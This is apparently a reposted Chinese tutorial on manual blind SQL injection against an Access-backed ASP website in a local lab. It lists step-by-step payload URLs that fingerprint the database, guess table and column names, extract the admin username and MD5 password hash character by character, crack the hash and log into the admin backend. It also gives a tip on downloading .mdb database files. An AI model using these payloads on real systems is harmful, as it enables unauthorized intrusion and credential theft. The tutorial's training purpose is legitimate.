Access數據庫攻擊案例


一、爆數據庫類型

SQL Server有一些系統變量和系統表,如果服務器IIS提示沒關閉,並且SQL Server返回錯誤提示的話,

可以直接從出錯信息中獲取判斷數據庫的類型

1、內置變量爆數據庫類型

User”是SQL Server的一個內置變量,它的值是當前連接的用戶名,其變量類型為“nvarchar"字符型。通過提交查詢該變量,根據返回的出錯信息即可得知數據庫類型。方法是在注入點之后提交如下語句。

and user>0

一、案例

注:后面http://192.168.1.55:901/news_view.asp?id=14這段可能會有變化,大家根據自己的做就行,更換是因為電腦出現問題才更改的ip

1.找注入點

首先打開之前在虛擬機上面裝的網站

 

 點擊找注入點

 

 2.准備注入(access注入大多要靠猜)

①:猜表名

將這條語句粘貼到網站,結果如下圖所示exists(select * from users),說明數據庫中沒有user表,然后換成administrator返回正確頁面,

說明存在administrator表

 ②:猜字段

exists(select username from administrator)

返回錯誤信息,說明不存在username字段,繼續提交。

exists(select user_name from administrator)

返回正常頁面,administrator表中存在字段user_nam

③:猜解字段長度

再繼續猜測第一個字段內容長度。(前面的http://192.168.1.55:901/news_view.asp?id=14)根據自己的ip改變

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>1//正常

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>2  //正常

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>5  //報錯

說明administrator表中的user_name 字段長度為5

 ④:猜解字段內容

現在猜解字段內容並提交。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>0  //返回正常頁面

說明ASCII值大於0 ,字段值應該為字母,如果是小於0那么說明是漢字,下面我們繼續猜解。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>500  //返回錯誤頁面

說明字段對應的ASCll值在0和500之間。繼續提交。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>100   //返回錯誤頁面

說明字段對應的ASCll值在0和100之間。繼續提交。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>90   //返回正常頁面

說明字段對應的ASCll值在90和100之間。繼續提交。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>96  //返回正常頁面

說明字段對應的ASCll值在96和100之間。繼續提交。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>97  //返回錯誤頁面

說明administrator表中的user_name字段的第一位ASCII值為97。通過反查ASCII值對應的字母,得到字符值為“a”接着第二位查詢。

 

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,2,1)) from administrator)>99  //返回正常頁面(注:查第二個字母的時候記得把user_name后面的1變成2)

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,2,1)) from administrator)>100  //返回錯誤頁面

 

用同樣的方法,可猜解user_name字段值和password值,最終得到如下結果:

[user_name]:admin

[password]:21232f297a57a5a743894a0e4a801fc3

可看出password的值為32位MD5加密,使用MD5在線破解工具進行破解,得到明文密碼為admin.

 得到管理員用戶名和密碼后,登錄后台:http://192.168.1.55:901/admin/index.asp,輸入猜解出來的用戶名和密碼.就可以成功進入網站后台頁面。

小提示: access數據庫都是存放在網站目錄下,后綴格式為mdb,asp,asa,可以通過一些暴庫手段、目錄猜解等直接下載數據庫,如果是MSSQL、MYSQL等,一般數據庫是存儲在數據庫安裝路徑下,后綴格式為myi,myd,frm,mdf 不能通過下載得到庫。除非走狗屎運,對方管理員把網站庫備份在網站目錄下。

php+mysql

數據庫存儲在數據庫安裝路徑下,后綴格式myi,myd,frm

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM